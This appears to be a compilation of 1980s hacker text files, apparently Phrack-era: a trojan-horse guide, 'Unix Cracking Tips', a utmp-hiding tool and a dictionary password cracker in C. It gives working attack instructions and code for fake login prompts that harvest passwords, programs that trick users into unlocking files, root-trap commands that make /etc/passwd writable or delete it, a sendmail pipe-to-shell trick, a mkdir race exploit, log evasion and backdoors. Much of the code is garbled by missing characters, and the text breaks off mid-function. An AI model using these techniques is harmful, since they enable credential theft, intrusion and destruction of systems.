You now have the working object code in a file called 'horse'.  Run it,
and if it doesn't look like your systems logon sequence, re-edit horse.c
and re-compile it.  When you're ready to put the program into use, create
a new file and call it 'trap' or something.  'trap' should have these two
commands:

horse                    (this runs your program)
login                    (this runs the real login program)

to execute 'trap' type:

% source trap            (again, don't type the %)

and walk away from your terminal...

After you've run it successfully a few times, check your file called
'stuff' (or whatever you decided to call it).  It will look like this:

user john has password secret
user mary has password smegma
etc.

Copy down these passwords, then delete this file (it can be VERY
incriminating if the superuser sees it).

Note - for best results your terminal should be set to time-out after
a few minutes of non-use - that way, your horse program doesn't
run idle for 14 hours if nobody uses the terminal you ran it on.

-----

The next projects can be run on a remote system, such as the VAX in
Michigan you've hacked into, or Dartmouth's UNIX system, or whatever.
However, they require a little knowledge of the 'C' language.  They're
not something for UNIX novices.

Project Two:  Reading Anybody's Files
-------------------------------------

When somebody runs a program, they're the owner of the process created
and that program can do anything they would do, such as delete a file
in their directory or making a file of theirs available for reading
by anybody.

When people save old mail they get on a UNIX system, it's put into
a file called mbox in their home directory.  This file can be fun
to read but is usually impossible for anybody but the file's owner
to read.  Here is a short program that will unlock (i.e. chmod 777,
or let anybody on the system read, write or execute) the mbox file
of the person who runs the program:

----- Code Begins Here -----

#include <pwd.h>

struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];

main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
        sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
        system(buf);
        }
}

----- Code Ends Here -----

So the question is:  How do I get my target to run this program that's
in my directory?

If the system you're on has a public-messages type of thing (on
4.xbsd, type 'msgs') you can advertise your program there.  Put the
above code in another program - find a utility or game program in
some magazine like UNIX WORLD and modify it and do the above before
it does it's real thing.  So if you have a program called tic-tac-toe
and you've modified it to unlock the mbox file of the user before it
plays tic-tac-toe with him, advertise "I have a new tic-tac-toe program
running that you should all try.  It's in my directory." or whatever.
If you don't have means of telling everybody on the system via a public
message, then just send mail to the specific people you want to trap.

If you can't find a real program to modify, just take the above program
and add this line between the two '}' lines at the end of the program:

printf("Error opening tic-tac-toe data file.  Sorry!\n");

when the program runs, it will print the above error message.  The user
will think "Heh, that dude doesn't know how to write a simple tic-tac-
toe program!" but the joke's on him - you can now read his mail.

If there's a specific file in a user's directory that you'd like to
read (say it's called "secret") just throw together this general
program:


main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}

then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
called super_star_wars, will you try it out?"

You can use your imagination.  Think of a command you'd like somebody
to execute.  Then put it inside a system() call in a C program and
trick them into running your program!

Here's a very neat way of using the above technique:

Project Three: Become the superuser
-----------------------------------

Write a program that you can get people to run.  Put this line in
it somewhere:

if ( !strcmp(getlogin(),"root") ) system("whatever you want");

This checks to see if the root login is running your program.  If
he is, you can have him execute any shell command you'd like.
Here are some suggestions:

"chmod 666 /etc/passwd"

     /etc/passwd is the system's password file.  The root owns this
file.  Normally, everyone can read it (the passwords are encrypted)
but only the root can write to it.  Take a look at it and see how it's
formatted if you don't know already.  This command makes it possible
for you to now write to the file - i.e. create unlimited accounts for
yourself and your friends.

"chmod 666 /etc/group"

     By adding yourself to some high-access groups, you can open many
doors.

"chmod 666 /usr/lib/uucp/L.sys"

     Look for this file on your system if it is on the uucp net.  It
contains dialups and passwords to other systems on the net, and normally
only the uucp administrator can read it.  Find out who owns this file
and get him to unknowingly execute a program to unlock it for you.

"rm /etc/passwd"

     If you can get the root to execute this command, the system's
passwd file will be removed and the system will go down and will
not come up for some time to come.  This is very destructive.

-----

If you are going to go about adding a trojan horse program to the
system, there are some rules you should follow.  If the hidden purpose
is something major (such as unlocking the user's mbox or deleting all
of his files or something) this program shouldn't be a program that
people will be running a lot (such as a popular computer game) - once
people discover that their files are public access the source of the
problem will be discovered quite easily.  Save this purpose for a 'test'
program (such as a game you're in the process of writing) that you
ask individual people to run via mail or 'chatting' with them.  As I
said, this 'test' program can bomb or print a phony error message after
completing its task, and you will just tell the person "well, I guess
it needs more work", wait until they log off, and then read whatever
file of theirs that you've unlocked.  If your trojan horse program's
sole purpose is to catch a specific user running it - such as the
root or other high-powered user - you can put the code to do so
in a program that will be run a lot by various users of the system.
Your modification will remain dormant until he runs it.
If you can't find the source to 'star trek' or whatever in C, just
learn C and convert something from pascal.  It can't hurt to learn
C as it's a great language.  We've just seen what it can do on a
UNIX system.  Once you've caught the root (i.e. you can now modify
the /etc/passwd file) remove the spurious code from your trojan horse
program and you'll never be caught.
*-----------------------------------------------------------------------*


       <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
        <><><><>                                            <><><><>
        <><><>                Unix Cracking Tips              <><><>
        <><>                                                    <><>
        <>                     by Dark OverLord                   <>
        <><>                                                    <><>
        <><><>                  March 17, 1989                <><><>
        <><><><>                                            <><><><>
       <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>


The purpose of this file is to present tips for budding Unix hackers.  The
audience this is aimed at are those that are experienced at working with basic
Unix, but not in the cracking aspects.

Most of the following material is based on actual experience with BSD boxes
(with some help from my friends).  Many of the bugs here may not apply to your
system; your mileage will vary.


When Cracking A System Remember --

     o ALWAYS cover your tracks
     o Don't get caught
     o Don't get malicious
     o Get off as soon as possible
     o Keep a bottle of "Wild Turkey" near the terminal
(IMPORTANT!)


About Logging:  Remember that many systems use paper terminals so that if a
warning message goes to the console, you can't erase it.

Hint:  If you know that you are going to be ringing a few bells, you may wish
       to send a bunch of bogus messages to the console so it runs out of paper
       before the important messages get there.


After you gain superuser privileges and you wish to stay root, here are
a few suggestions for installing backdoors:

- Disable checks for superuser in the kernel
- Install new system calls
- Patch a system binary to contain a backdoor
- Leave /dev/mem readable


An ancient method of extracting data from anything is to sort through its
trash.  The same applies to Unix and newly allocated data.
One trick is to look for old data in newly allocated data (eg: Allocate a
large amount of memory and search through it for old [useful?] data).  Given
enough time and an intelligent search algorithms, you could find quite a bit of
information including people's passwords and other private stuff like
mail, et al.


If the device "/dev/kmem" is readable, you should be able to write a quick C
program that intercepts the I/O to other terminals and catch other people's
password etc.

If the device "/dev/kmem" is writeable, it is possible to change your userid by
editing the user structure.


A Common Trick:  When looking to gain more system privileges, one of the first
things to investigate are other users' .rhost files since these can be used to
grant access to other accounts without the use of a password.  See the Unix
manual entry for rlogin for more information.


Another thing to look for are writeable .profile, .cshrc or .logins (to name a
few).  It these are left writeable, it is all too easy to install a Trojan
horse.


Look for readable .netrc files since these files may contain passwords to other
accounts.


If the man command is setuid, it might be possible to get a shell by typing
"!/bin/csh" from within the pager.


Some types of terminals can be "instructed" to issue commands using various
escape sequences.  This makes it possible to mail someone a "letter bomb" that
(when read) will send commands to the user's shell.


It is possible to mail commands to a system.  This is a feature of the
debugging mode of Unix's sendmail.  This trick was made fairly public through
its use by the Internet Worm.  The way it is done is by connecting to the SMTP
socket/port and turning on the debug mode.  The recipient that is mailed to is
"| sed '1,/$/d' | /bin/sh ; exit 0" and then the commands for the shell are
placed in the body of the letter/data section.


Under Unix it is trivial to forge mail.  The easiest way this is done is by
connecting to the SMTP port and pretending to be a foreign mailer program.


Some systems will crash if you issue the command "eval `\!\!`" from within the
C shell (/bin/csh).


When searching for data, do not forget to look for possible un-mounted file
systems.  [eg:  Look for disk partitions that are unaccounted for.]


Other things to try are illegal system calls and system calls with
illegal (strange?) arguments.  A good example is the fchown system call
under 4.3-Tahoe Release from Berkeley.  If you give it a negative
number for the group argument it grants permission for you to change
the ownership of any file.  Another example (on many systems) is the
"access" system call used by many, many programs.  Its problem is that
is only checks permissions on the requested file and neglects to check
the permissions of links and directories that lead to the file.  I have
seen some systems that allow any user to use the chroot system call;
this is VERY foolish since all I have to do in construct my own
sub-environment (with my own configuration files) and execute certain
commands from within it.


Yet another thing to look for are system structures stored in user accessible
memory.  These structures can be modified to suit your purposes.


Look for sloppy permission/ownership on system directories and on system
configuration files.  These can allow you to modify and/or control many aspects
of system behavior.  Here are a few files to look out for:
"/etc/rc",
"/etc/passwd", "/etc/group", "/etc/profile",
"/usr/lib/crontab" or
"/usr/spool/cron/crontabs/*".

Hint:  AT&T 3b1 systems are notorious for this problem.


If the system you are hacking has readable system logfiles and it logs failed
login attempts, a possible leak might be if a user had accidentally typed their
password at the login prompt.  You should scan through these logs looking to
strange and nonexistent account names and use these as the password for users
that logged in around that time (the command "last" will list the login time of
users).


Check to see if the system has source code on-line.  There is nothing more
useful then having system source code on-line for browsing.
Look for source code (normally found in the directory /usr/src) and scan it
for programming errors (or download it so you spend less time on the
system).


Look for other people's back doors.  If you can find any, they can make your
life a bit easier.


Check to see if the system has a good auditing system.  If so, run it since it
may find a few security problems for you.


Look for setuid shell scripts that may be on the system.  There is no
way way to secure a setuid shell script under the current release of
BSDish Unixes in the current market.  The command "find / -perm -6000 -ls"
will print out all setuid and setgid files on a system.  Look
through this list for setuid shell scripts.  One way in defeating a
setuid script is to make a link named "-i" to the file, then execute
the link.  Another way is to send it a signal at the right moment
during its start up.  The simplest way do this is to write a quick C program tha
   t sets a block on the signal, then sends
itself the signal, and then execs a setuid script. (Note: The signal
will not be processed because of the block, thus leaving it for the
setuid script).   Either of these bugs should give you an interactive
shell running as the userid of the setuid script.


If you are familiar with programming with assemblers/dissemblers, you can look
for bugs and/or modify existing software to suit your needs since most
installations do not strip debugging symbols from system binaries and leave the
executables readable.  There is an enormous amount of hacking information that
can be learned this way.


Under UNIX-V7 & 4.1BSD, programs that were setgid were only a security problem
because if you were able to get them to dump a core file, the core would be
owned by you and setgid to the groupid of the program that generated it.  Since
you owned this file, you could copy a shell of a command script into it and
have it run as the groupid of the file.  This will allow you access to to any
file that is owned by the group.


If the system you are hacking supports bidirectional modems, it is possible to
use them for stealing passwords.  This can be done by using tip to connect to
the modem and then waiting for a user to call.  When a user calls in, you
simply answer the phone and simulate the login process.  Once the user has
surrendered their password, you simulate line noise and hang up.


The Unix login program (the program that prompts you for the account name and
password) is tricky in the way that the error message for bad accounts and bad
passwords are the same.  This is to stop account/password guessing.  I guess it
works if your only access to a system is either a terminal line or a modem
connection.  If you have access through a LAN you can check account names with
the finger command.  This neat little Unix goodie will give you all sorts of
information about people's accounts.  If the finger utility is turned off,
there is another way through a program called ftp.  The ftp (File Transfer
Program) command can be used to confirm the existence of a user account/bad
password selection.  I have also noted that the ftp command does not do as much
logging, thus repeated bad password guesses not logged as much via ftp.
[See next section also.]


If the Unix system you wish to crack is networked via UUCP or TCP/IP, it should
be fairly simple to extract the password file from the remote system using the
ftp utility.  Once you have a copy of the password file, you can simply back
away from the system (thus reducing the chances of getting caught!).


See Phrack Inc. Issue 22, File 6 -- "Yet Another File On Hacking Unix by
>Unknown User<" for a slow but effective password grinder.


Another network based attack involves tapping in on the LAN (Local Area
Network) and listening for people's passwords since most systems transmit them
in clear text.


On systems that disable account logins after N number of bad logins, it is
sometimes useful to use the feature to lock out staff members from logging in
thus giving you [the cracker] more time to clean up after yourself and escape.


Here are a few bugs in the su (set userid) command that may come in handy:

The first was that the "-c" option did not check to see if the user being su'ed
to had a valid shell.  The "-c" option is used to instruct the su command to
run another command instead of a shell [eg:  "su davis -c foobar" tells su to
run foobar instead of davis's default shell].  This comes in handy with
accounts like "sync::0:1::/:/bin/sync" because you can execute any arbitrary
command [eg: su sync -c /bin/csh].

Another bug in the su command exists in some System V ports where if su was
unable to open the password file ("etc/passwd"), it would grant root access
(without checking the reason for the failure).  I guess the programming can
tell that something is wrong and grants access so someone can fix things.  The
security problem occurs when when su is executed with a full file descriptor
table; this will force su to fail its open request on the password file.


Some Unix system's mkdir (MaKe DIRectory) command can be subverted into aiding
you in gaining root.  This is done by exploiting a race condition that can
occur between processes.  The following command script will eventually cause
the error to occur and cause the password file to be owned by you:

    while : ; do
        nice -10 (mkdir a;rm -fr a) &
        (rm -fr a; ln /etc/passwd a) &
    done

The race condition happens when the "ln" command runs while the mkdir command
is in the middle of running.  This works because the mkdir does its job by
doing the two system calls:  mknod and then chown.  If the now inode (allocated
by mknod) is replaced with a link to the password file before the chown system
call is made, then the password file is "chown"ed instead.  To become root from
here, all you have to do is add a new entry into the password file.


The print command ("lpr" or "lp") has an option to delete a file after it is
printed.  This option will work (print & delete the file) even if you do not
own the file.


The mail command has the option to save your mail after you read to another
file.  Some versions of this command will save (append) your mail to a file
after it is read.  A bug exists where the mail program does not check to see if
you have write permission to the file you are saving the mail to, thus allowing
you to (for example) add new accounts to the password file.


A quick word on the crypt command (and vi -x since it uses the crypt command):
The algorithm used is not hard to break (it takes about twenty minutes to
decrypt a file with the right tools).  See the "Bell Systems Technical
journal," Vol. 63, 8, part 2 for more information.


If the UUCP configuration files are readable [default on many systems], you can
obtain the login names, passwords, and phone numbers to all of the mail links
to and from the system you are hacking.  With the use of the a public domain
program, "uupc", you can make the connections yourself and intercept and/or
filter all incoming mail.

There are so many ways to crack Unix just through UUCP that I am not going to
expand and list the many ways and their permutations.  Instead, I am going to
save them for an article to be done at some random time in the future.


If you are hacking on a system that supports sharable memory you may be able to
access these memory segments.  On Sun systems, there is a command called ipcs.
This command lists available sharable memory segments.  If this command does
not exist (nor has a equivalent command available), you may have to either
write one or use blind exploration.  Once you have identified these segments,
you can gain control to the data contained therein and/or other programs
utilizing the data contained within.


If you are caught:  Grasp the bottle of "Wild Turkey" (the one near your
terminal) and drink it.

*----------------------------------------------------------------------------*

           
                         Disguising Yourself Under UNIX

                              By BLACK TIE AFFAIR

                                March 25, 1989


Under Unix, a user can see who's currently logged into the system with commands
like 'who', 'finger' and 'w'.  All these programs gather parts or all of their
information by looking at the file /etc/utmp.

This file contains one record for each terminal connected to the system and
activated for logins.  The format of the record differs between the various
Unix versions, but there are common fields which exist on every popular Unix
descent:  The name of the terminal device (ut_line) and the name of the user
logged in on that line (ut_user).

Though the design of the Unix operating system is basically (!) consistent,
this scheme shows some problems.  The information whether a process is
considered to be a terminal session is not kept in the process itself, but in a
separate file.  Thus, it is the duty of user mode programs to keep this file up
to date, and gives an excellent point for a hacker to put his drill on.  To be
fair here, other operating systems have similar problems.  But we're talking
Unix currently.

There is another mechanism available under Unix, which can provide information
about terminal sessions:  The 'controlling tty'.  The first terminal device a
process opens becomes that process controlling tty.  Unix uses this information
internally to determine which processes should be signaled when the user types
one of the signal generating keys (CTRL-C, CTRL-\ etc.) on the terminal.  When
such a character is encountered by the terminal driver, all processes which
have this terminal device as controlling tty receive the signal corresponding
to that character.

A process is not needingly an interactive session if it has a controlling tty,
though.  Any process which opens a terminal device (which could be a network
process which uses a tty device for communication to another machine) has this
terminal as it's controlling tty.

As such, it is good practice to cross-check the contents of the utmp file with
all processes in the system which have a controlling tty.  Two shell scripts
which exactly do this on BSD and System V Unix systems are included at the end
of this file.  Both perform the same function:  They use who(1) to get a list
of the sessions mentioned in the utmp file, and ps(1) to get a list of all
processes currently running.  It outputs all processes which have a controlling
tty but are not visible with who(1).  A little flaw here is the fact that
getty processes waiting on a terminal for someone to log in are displayed.

The family of 'who'-programs just scans the utmp-file for entries which belong
to an active login session, and formats those records to be human-readable.
The decision whether an entry corresponds to an active session is different
under different Unix versions.  Those who have the old utmp file format (System
III, System 5R1, BSD) look at the ut_user field.  If the first byte is
non-null, the entry is considered to correspond to an active session.  Under
System 5 since release 2, the utmp structure has been enhanced to contain a
type field (ut_type) which tells about the type of the entry.  who(1) only
displays a record, when the ut_type field contains the value USER_PROCESS (as
defined in /usr/include/utmp.h).  Other records are ignored unless the -a
option is specified to who(1).

Being invisible to the who-family of programs gives some advantage to a hacker.
He can stay in the system with a degraded risk of being discovered by a system
manager who spies around.  Of course, a system with a properly protected utmp
file is not vulnerable to this kind of hide out, provided that the hacker
didn't manage to get root access.  For clearance, a little C program which
demonstrates this kind of hideout is included in the shar file at the end of
this article.  Just compile and run it with proper permissions to see how to
hide.

! /bin/sh
 This is a shell archive.  Remove anything before this line, then feed it
 into a shell via "sh file" or similar.  To overwrite existing files,
 type "sh file -c".
 The tool that generated this appeared in the comp.sources.unix newsgroup;
 send mail to comp-sources-unix@uunet.uu.net if you want that tool.
 If this archive is complete, you will see the following message at the end:
               "End of shell archive."
 Contents:  check.bsd check.sysv uthide.c
PATH=/bin:/usr/bin:/usr/ucb ; export PATH
if test -f 'check.bsd' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'check.bsd'\"
else
echo shar: Extracting \"'check.bsd'\" \(305 characters\)
sed "s/^X//" >'check.bsd' <<'END_OF_FILE'
X:
X
X(who ; echo "___" ; ps au) | awk '
X              if ($0 == "___")
X                       pslist = 1
X                       next
X
X               if ( pslist )
X                       if (ttys[$7] == 0)
X                               print $0
X
X                else
X                       if (substr($2, 0, 3) == "tty")
X                               id = substr($2, 4, 2)
X                               ttys[id] = 1
X                        else
X                               if ($2 == "console")
X                                       ttys["co"] = 1
X
X
X

END_OF_FILE
if test 306 -ne `wc -c <'check.bsd'`; then
    echo shar: \"'check.bsd'\" unpacked with wrong size!
fi
 end of 'check.bsd'
fi
if test -f 'check.sysv' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'check.sysv'\"
else
echo shar: Extracting \"'check.sysv'\" \(312 characters\)
sed "s/^X//" >'check.sysv' <<'END_OF_FILE'
X:
X
X(who ; echo "___" ; ps -fe) | awk '
X              if ($0 == "___")
X                       pslist = 1
X                       next
X
X               if ( pslist )
X                       if ($6 != "?" && ttys[$6] == 0)
X                               print $0
X
X                else
X                       if (substr($2, 0, 3) == "tty")
X                               id = substr($2, 4, 2)
X                               ttys[id] = 1
X                        else
X                               if ($2 == "console")
X                                       ttys["co"] = 1
X
X

END_OF_FILE
if test 313 -ne `wc -c <'check.sysv'`; then
    echo shar: \"'check.sysv'\" unpacked with wrong size!
fi
 end of 'check.sysv'
fi
if test -f 'uthide.c' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'uthide.c'\"
else
echo shar: Extracting \"'uthide.c'\" \(1295 characters\)
sed "s/^X//" >'uthide.c' <<'END_OF_FILE'
X/* hide.c - needs write access to /etc/utmp */
X
Xinclude <sys/types.h>
Xinclude <utmp.h>
Xinclude <fcntl.h>
X
Xdefine UTMP "/etc/utmp"
X
Xifndef INIT_PROCESS
X/* this is some system with this useless utmp format.  we assume bsd, but
X * it could well be system III or some other historic version.  but come
X * on, guys -- go the modern way ;-)
X */
Xdefine        BSD
Xendif
X
Xifdef BSD
Xdefine        strrchr rindex
Xelse
Xdefine bzero(s,n) memset(s,'\0',n)
Xendif
X
Xchar *
Xbasename(path)
X
X       char    *path;
X      char    *p, *strrchr();
X
X       return((path && (p = strrchr(path, '/'))) ? p+1 : path);
X
X
Xmain()
X
X      struct  utmp    ut;
X       int             fd;
X       char            *strrchr();
X       char            *ttyname(), *tty = basename(ttyname(0));
X
X       if (!tty)
X               puts("not on a tty");
X               exit(1);
X
X
X       if ((fd = open(UTMP, O_RDWR)) < 0)
X               perror(UTMP);
X               exit(2);
X
X
X       while (read(fd, &ut, sizeof(ut)) == sizeof(ut))
X               if (!strncmp(ut.ut_line, tty, sizeof(ut.ut_line)))
X                       bzero(ut.ut_name, sizeof(ut.ut_name));
Xifndef BSD
X                       ut.ut_type = INIT_PROCESS;
X                       ut.ut_pid = 1;
Xelse
X                       bzero(ut.ut_host, sizeof(ut.ut_host));
Xendif BSD
X                       if (lseek(fd, -sizeof(ut), 1) < 0)
X                               puts("seek error");
X                               exit(3);
X
X                       if (write(fd, &ut, sizeof(ut)) != sizeof(ut))
X                               puts("write error");
X                               exit(4);
X
X                       exit(0);
X
X
X
X       puts("you don't exist");
X       exit(5);
X

END_OF_FILE
if test 1296 -ne `wc -c <'uthide.c'`; then
    echo shar: \"'uthide.c'\" unpacked with wrong size!
fi
 end of 'uthide.c'
fi
echo shar: End of shell archive.
exit 0
_______________________________________________________________________________


            ()()()()()()()()()()()()()()()()()()()()()()()()()()()
            ()()                                              ()()
            ()   Hacking Unix! A Brute force Password Cracker   ()
            ()   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ()
            ()                        By                        ()
            ()                                                  ()
            ()                  >Unknown User<                  ()
            ()      A special "ghost" writer of Phrack Inc.     ()
            ()()                                              ()()
            ()()()()()()()()()()()()()()()()()()()()()()()()()()()


Greetings from The Unix Front...

I am unable to use my real alias since it has now become too well known and
others are able to associate it with my real name.  Let us just say that I have
been around for a long time, and can you say "Code Buster"?  Obsolete now,
nonetheless taught many how to write better ones.

The following C code will enable you to ferret out poorly constructed passwords
from /etc/passwd.  What I mean by poor passwords is obvious, these consist of
passwords based on the user's name, and even words found in the dictionary.
The most secure password is one that has been constructed from nonsense words,
odd combinations of one word, with control characters and numbers thrown in.
My program is not able to deal with a decent password, nor did I intend it to.
To write something capable of dealing with a secure password would have been
incredibly complex, and take weeks to run on even the fastest of cpu's.

Locate a dictionary file from your nearest Unix system.  This is commonly
located in /usr/dict/words.  These files will vary from 200K to 5 Megabytes.
The more words your dictionary file has in it, the more effective this program
will be.  The program can do a quick scan based on just the identifying name
fields in /etc/passwd or perform a complete scan using the dictionary file.  It
basically compares one /etc/passwd entry to each word in your dictionary file,
until it finds the password, or reaches eof,and begins the scan on the next
password.

It will take days to process a large /etc/passwd file.  When you re-direct the
output to a log file, make sure you run some sort of cron daemon that will
extract any decoded passwords, and then nulls the log file.  I can suggest
/bin/nohup for this task since you can log off and the task continues to run.
Otherwise, the log file can grow to be megabytes depending on the actual size
of the /etc/passwd file and your dictionary..This program,while written with
one purpose in mind (obtaining passwords),is also a positive contribution to
Unix System Administrators.

I run this on several systems nightly, to protect myself!  Scanning for user
passwords that are easy to hack, and for other insecure conditions ensures that
my own systems will not be breached.  Unix is still not a secure system, and
restoring gigabyte file systems is no fun.

I have made the software as portable as possible.  It is known to compile on
all BSD variants, and System V.  I don't suggest that you leave the source
laying around on just any system, most System Administrators are known to be
particularly nosy <smile>.  If you do, for God's sake crypt the damned file.

These are hard times we have fallen into.  The thrill of the telephone network
is no more.  Mere experimentation is riskier than ever.  There is little left,
but intellectual challenges in mastering system software and writing
interesting software for most of us.  As we all get older, the risks have grown
less attractive versus the few gains.  Someday when I am able to transfer five
or six million into my account in Zurich, I may chance it.  Until then, may I
take the time to wish you all good luck in your endeavors, and be careful!

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

/* Beginning of Program */

include <sys/stdio.h>
include <sys/ctype.h>
include <sys/signal.h>

define TRUE 1
define FALSE 0

int trace = FALSE;
char *dict = NULL;
char *word = NULL;
char *pwdfile = NULL;
char *startid = NULL;
FILE *pwdf;
FILE *dictf;
FILE *logf;
char nextword[64];
char preread = FALSE;
char pbuf[256];
char id[64];
char pw[64];
char goodpw[64];

main(argc,argv)
int argc;
char **argv;
{
char *passwd;
char *salt;
char *s;
char *crypt();
char xpw[64];
char pw2[64];
char dummy[64];
char comments[64];
char shell[64];
char dictword[64];
char gotit;
char important;
extern int optind;
extern char *optarg;
int option;
int cleanup();
int tried;
long time();

signal(SIGTERM,cleanup);
signal(SIGQUIT,cleanup);
signal(SIGHUP,cleanup);

while ((option = getopt(argc,argv, "d:i:p:tw:")) != EOF)
        switch(option) {
        case 'd':
                dict = optarg;
                break;

        case 'i':
                startid = optarg;
                break;

        case 'p':
                pwdfile = optarg;
                break;

        case 't':
                ++trace;
                break;

        case 'w':
                word = optarg;
                break;

        default:
                help();
        }

if (optind < argc)
        help();

if (!pwdfile)
        pwdfile = "/etc/passwd";

openpw();
if (dict)
        opendict();

while(TRUE) {
        if (preread)
                preread = FALSE;
        else
                if (!fgets(pbuf,sizeof(pbuf),pwdf))
                        break;
        parse(id,pbuf,':');
        parse(xpw,pbuf,':');
        parse(pw,xpw,',');
        if (*pw && strlen(pw) != 13)
                continue;
        parse(dummy,pbuf,':');
        important = (atoi(dummy) < 5);
        parse(dummy,pbuf,':');
        parse(comments,pbuf,':');
        gotit = !*pw;
        if (!gotit && *comments) {
                strcpy(pw2,pw);
                do {
                        sparse(pw2,comments);
                        if (!*pw2) continue;
                        if (allnum(pw2)) continue;
                        gotit = works(pw2);
                        if (!gotit)
                                if (hasuc(pw2)) {
                                        lcase(pw2);
                                        gotit = works(pw2);
                                }
                } while (!gotit && *comments);
                if (!gotit)
                        gotit = works(id);
        }
        if (!gotit && dict) {
                resetdict();
                tried = 0;
                do {
                        if (works(nextword)) {
                                gotit = TRUE;
                                break;
                        }
                        if (++tried == 100) {
                                printf("    <%8s> @
%ld\n",nextword,time(NULL));
                                fflush(stdout);
                                tried = 0;
                        }
                } while(readdict());
        }
        if (gotit) {
                if (*pw)
                        printf("** %8s \t- Password is %s\n",id,goodpw);
                else {
                        parse(shell,pbuf,':');
                        parse(shell,pbuf,':');
                        shell[strlen(shell)-1] = 0;
                        printf("   %8s \t- Open Login (Shell=%s)\n",id,shell);
                }
                if (important)
                        printf("--------------------------------------------
Loo
k!\n");
        }
        else    printf("   %8s \t- Failed\n",id);
}

cleanup();
exit(0);

}


help()
{
fprintf(stderr,"Scan by The Unix Front\n");
fprintf(stderr,"usage: scan [-ddict] [-iid] [-ppfile] [-t] [-wword]\n");
exit(1);

}

cleanup()
{

if (logf)
        fclose(logf);

}


openpw()
{
char dummy[256];
char id[256];

if (!(pwdf = fopen(pwdfile,"r"))) {
        fprintf("Error opening specified password file: %s\n",pwdfile);
        exit(2);
}
if (startid) {
        while(TRUE) {
                if (!(fgets(pbuf,sizeof(pbuf),pwdf))) {
                        fprintf(stderr,"Can't skip to id '%s'\n",startid);
                        exit(3);
                }
                strcpy(dummy,pbuf);
                parse(id,dummy,':');
                if (!strcmp(id,startid)) {
                        preread = TRUE;
                        return;
                }
        }
}

}

/* Where's the dictionary file dummy! */

opendict()
{

if (!(dictf = fopen(dict,"r"))) {
        fprintf("Error opening specified dictionary: %s\n",dict);
        exit(4);
}

}

resetdict()
{
char *p;

rewind(dictf);

if (word) {
        while(TRUE) {
                if (!(fgets(nextword,sizeof(nextword),dictf))) {
                        fprintf(stderr,"Can't start with specified word
'%s'\n",
word);
                        exit(3);
                }
                if (*nextword) {
                        p = nextword + strlen(nextword);
                        *--p = 0;
                }
                if (!strcmp(word,nextword))
                        return;
        }
}
else    if (!(fgets(nextword,sizeof(nextword),dictf)))
                fprintf(stderr,"Empty word file: %s\n",dict);
        else    if (*nextword) {
                        p = nextword + strlen(nextword);
                        *--p = 0;
                }

}


readdict()
{
int sts;
char *p;

sts = fgets(nextword,sizeof(nextword),dictf);
if (*nextword) {
        p = nextword + strlen(nextword);
        *--p = 0;
}
return sts;

}



works(pwd)
char *pwd;
{
char *s;

if (trace)
        printf(">> %8s \t- trying %s\n",id,pwd);
s = crypt(pwd,pw);
if (strcmp(s,pw))
        return FALSE;

strcpy(goodpw,pwd);

return TRUE;

}



parse(s1,s2,t1)
register char *s1;
register char *s2;
char t1;
{
char *t2;

t2 = s2;
while (*s2) {
        if (*s2 == t1) {
                s2++;
                break;
        }
        *s1++ = *s2++;
}
*s1 = 0;
while (*t2++ = *s2++);

}

sparse(s1,s2)
register char *s1;
register char *s2;
{
char *t2;

t2 = s2;
while (*s2) {
        if (index(" ()[]-/.",*s2)) {
                s2++;
                break;
        }
        *s1++ = *s2++;
}
*s1 = 0;
while (*t2++ = *s2++);

}

hasuc(s)
register char *s;
{

while (*s)
        if (isupper(*s++)) return TRUE;

return FALSE;

}

allnum(s)
register char *s;
{

while(*s)
        if (!isdigit(*s++)) return FALSE;

return TRUE;

}

lcase(s)
register char *s;
{

while(*s) {
        if (isupper(*s))
                *s = tolower(*s);
        ++s;
}

}

ifdef HACKED

define void int

static char IP[] = {
        58,50,42,34,26,18,10, 2,
        60,52,44,36,28,20,12, 4,
        62,54,46,38,30,22,14, 6,
        64,56,48,40,32,24,16, 8,
        57,49,41,33,25,17, 9, 1,
        59,51,43,35,27,19,11, 3,
        61,53,45,37,29,21,13, 5,
        63,55,47,39,31,23,15, 7,
};

static char FP[] = {
        40, 8,48,16,56,24,64,32,
        39, 7,47,15,55,23,63,31,
        38, 6,46,14,54,22,62,30,
        37, 5,45,13,53,21,61,29,
        36, 4,44,12,52,20,60,28,
        35, 3,43,11,51,19,59,27,
        34, 2,42,10,50,18,58,26,
        33, 1,41, 9,49,17,57,25,
};

static char PC1_C[] = {
        57,49,41,33,25,17, 9,
         1,58,50,42,34,26,18,
        10, 2,59,51,43,35,27,
        19,11, 3,60,52,44,36,
};

static char PC1_D[] = {
        63,55,47,39,31,23,15,
         7,62,54,46,38,30,22,
        14, 6,61,53,45,37,29,
        21,13, 5,28,20,12, 4,
};

static char shifts[] = { 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1, };

static char PC2_C[] = {
        14,17,11,24, 1, 5,
         3,28,15, 6,21,10,
        23,19,12, 4,26, 8,
        16, 7,27,20,13, 2,
};

static char PC2_D[] = {
        41,52,31,37,47,55,
        30,40,51,45,33,48,
        44,49,39,56,34,53,
        46,42,50,36,29,32,
};

static char C[28];
static char D[28];
static char KS[16][48];
static char E[48];
static char e2[] = {
        32, 1, 2, 3, 4, 5,
         4, 5, 6, 7, 8, 9,
         8, 9,10,11,12,13,
        12,13,14,15,16,17,
        16,17,18,19,20,21,
        20,21,22,23,24,25,
        24,25,26,27,28,29,
        28,29,30,31,32, 1,
};

void
setkey(key)
char    *key;
{
        register int i, j, k;
        int     t;

        for(i=0; i < 28; i++) {
                C[i] = key[PC1_C[i]-1];
                D[i] = key[PC1_D[i]-1];
        }

        for(i=0; i < 16; i++) {


                for(k=0; k < shifts[i]; k++) {
                        t = C[0];
                        for(j=0; j < 28-1; j++)
                                C[j] = C[j+1];
                        C[27] = t;
                        t = D[0];
                        for(j=0; j < 28-1; j++)
